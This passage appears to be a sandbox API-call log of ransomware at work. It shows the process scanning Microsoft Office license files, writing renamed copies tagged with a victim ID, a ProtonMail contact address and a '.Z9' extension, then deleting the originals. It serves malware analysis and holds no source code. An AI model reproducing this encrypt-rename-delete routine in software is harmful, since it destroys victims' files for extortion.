	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString=".doc") returned 4
	[0179.742] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".docx") returned 5
	[0179.742] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.743] lstrlenW (lpString=".pdf") returned 4
	[0179.743] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString=".xls") returned 4
	[0179.743] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString=".xlsx") returned 5
	[0179.743] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.743] lstrlenW (lpString=".ppt") returned 4
	[0179.743] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.743] lstrlenW (lpString=".zip") returned 4
	[0179.743] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString=".rar") returned 4
	[0179.743] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString=".bz2") returned 4
	[0179.743] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString=".7z") returned 3
	[0179.743] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.743] lstrlenW (lpString=".dbf") returned 4
	[0179.743] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.743] lstrlenW (lpString=".1cd") returned 4
	[0179.743] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.743] lstrlenW (lpString=".jpg") returned 4
	[0179.743] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.743] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.744] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31
	[0179.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0179.983] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22091) returned 1
	[0179.983] CloseHandle (hObject=0x520) returned 1
	[0179.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220
	[0180.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.285] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.285] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0180.286] GetLastError () returned 0x0
	[0180.286] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x564b, lpOverlapped=0x0) returned 1
	[0180.303] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5650, lpOverlapped=0x0) returned 1
	[0180.304] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.305] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x112, lpOverlapped=0x0) returned 1
	[0180.305] SetEndOfFile (hFile=0x520) returned 1
	[0180.305] CloseHandle (hObject=0x520) returned 1
	[0180.305] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.305] SetEndOfFile (hFile=0x540) returned 1
	[0180.317] CloseHandle (hObject=0x540) returned 1
	[0180.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1
	[0180.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.330] lstrlenW (lpString=".doc") returned 4
	[0180.330] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".docx") returned 5
	[0180.330] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.330] lstrlenW (lpString=".pdf") returned 4
	[0180.330] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".xls") returned 4
	[0180.330] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString=".xlsx") returned 5
	[0180.330] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.330] lstrlenW (lpString=".ppt") returned 4
	[0180.330] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString=".zip") returned 4
	[0180.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".rar") returned 4
	[0180.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".bz2") returned 4
	[0180.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".7z") returned 3
	[0180.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString=".dbf") returned 4
	[0180.331] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString=".1cd") returned 4
	[0180.331] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString=".jpg") returned 4
	[0180.331] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.331] lstrlenW (lpString=".doc") returned 4
	[0180.331] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".docx") returned 5
	[0180.331] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.331] lstrlenW (lpString=".pdf") returned 4
	[0180.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".xls") returned 4
	[0180.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.331] lstrlenW (lpString=".xlsx") returned 5
	[0180.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.332] lstrlenW (lpString=".ppt") returned 4
	[0180.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.332] lstrlenW (lpString=".zip") returned 4
	[0180.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString=".rar") returned 4
	[0180.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString=".bz2") returned 4
	[0180.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString=".7z") returned 3
	[0180.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.332] lstrlenW (lpString=".dbf") returned 4
	[0180.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.332] lstrlenW (lpString=".1cd") returned 4
	[0180.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0180.332] lstrlenW (lpString=".jpg") returned 4
	[0180.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.333] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0180.333] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32
	[0180.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.335] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22092) returned 1
	[0180.335] CloseHandle (hObject=0x540) returned 1
	[0180.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220
	[0180.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.336] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.336] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0180.337] GetLastError () returned 0x0
	[0180.337] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x564c, lpOverlapped=0x0) returned 1
	[0180.587] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5650, lpOverlapped=0x0) returned 1
	[0180.589] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.589] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x114, lpOverlapped=0x0) returned 1
	[0180.589] SetEndOfFile (hFile=0x520) returned 1
	[0181.061] CloseHandle (hObject=0x520) returned 1
	[0181.061] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.062] SetEndOfFile (hFile=0x540) returned 1
	[0181.065] CloseHandle (hObject=0x540) returned 1
	[0181.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1
	[0181.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.066] lstrlenW (lpString=".doc") returned 4
	[0181.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".docx") returned 5
	[0181.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.066] lstrlenW (lpString=".pdf") returned 4
	[0181.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".xls") returned 4
	[0181.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".xlsx") returned 5
	[0181.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.066] lstrlenW (lpString=".ppt") returned 4
	[0181.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.066] lstrlenW (lpString=".zip") returned 4
	[0181.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".rar") returned 4
	[0181.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".bz2") returned 4
	[0181.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.066] lstrlenW (lpString=".7z") returned 3
	[0181.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString=".dbf") returned 4
	[0181.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString=".1cd") returned 4
	[0181.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString=".jpg") returned 4
	[0181.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString=".doc") returned 4
	[0181.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString=".docx") returned 5
	[0181.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.067] lstrlenW (lpString=".pdf") returned 4
	[0181.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString=".xls") returned 4
	[0181.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString=".xlsx") returned 5
	[0181.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.067] lstrlenW (lpString=".ppt") returned 4
	[0181.067] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.067] lstrlenW (lpString=".zip") returned 4
	[0181.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString=".rar") returned 4
	[0181.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.067] lstrlenW (lpString=".bz2") returned 4
	[0181.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.068] lstrlenW (lpString=".7z") returned 3
	[0181.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.068] lstrlenW (lpString=".dbf") returned 4
	[0181.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.068] lstrlenW (lpString=".1cd") returned 4
	[0181.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0181.068] lstrlenW (lpString=".jpg") returned 4
	[0181.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.068] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.068] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35
	[0181.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.069] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19958) returned 1
	[0181.069] CloseHandle (hObject=0x540) returned 1
	[0181.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220
	[0181.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.069] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.069] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0181.070] GetLastError () returned 0x0
	[0181.070] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0181.532] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0182.543] ReadFile (in: hFile=0x540, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.544] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x11a, lpOverlapped=0x0) returned 1
	[0182.544] SetEndOfFile (hFile=0x520) returned 1
	[0182.544] CloseHandle (hObject=0x520) returned 1
	[0182.544] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.544] SetEndOfFile (hFile=0x540) returned 1
	[0182.547] CloseHandle (hObject=0x540) returned 1
	[0182.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString=".doc") returned 4
	[0182.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".docx") returned 5
	[0182.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.963] lstrlenW (lpString=".pdf") returned 4
	[0182.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".xls") returned 4
	[0182.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".xlsx") returned 5
	[0182.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.963] lstrlenW (lpString=".ppt") returned 4
	[0182.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString=".zip") returned 4
	[0182.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".rar") returned 4
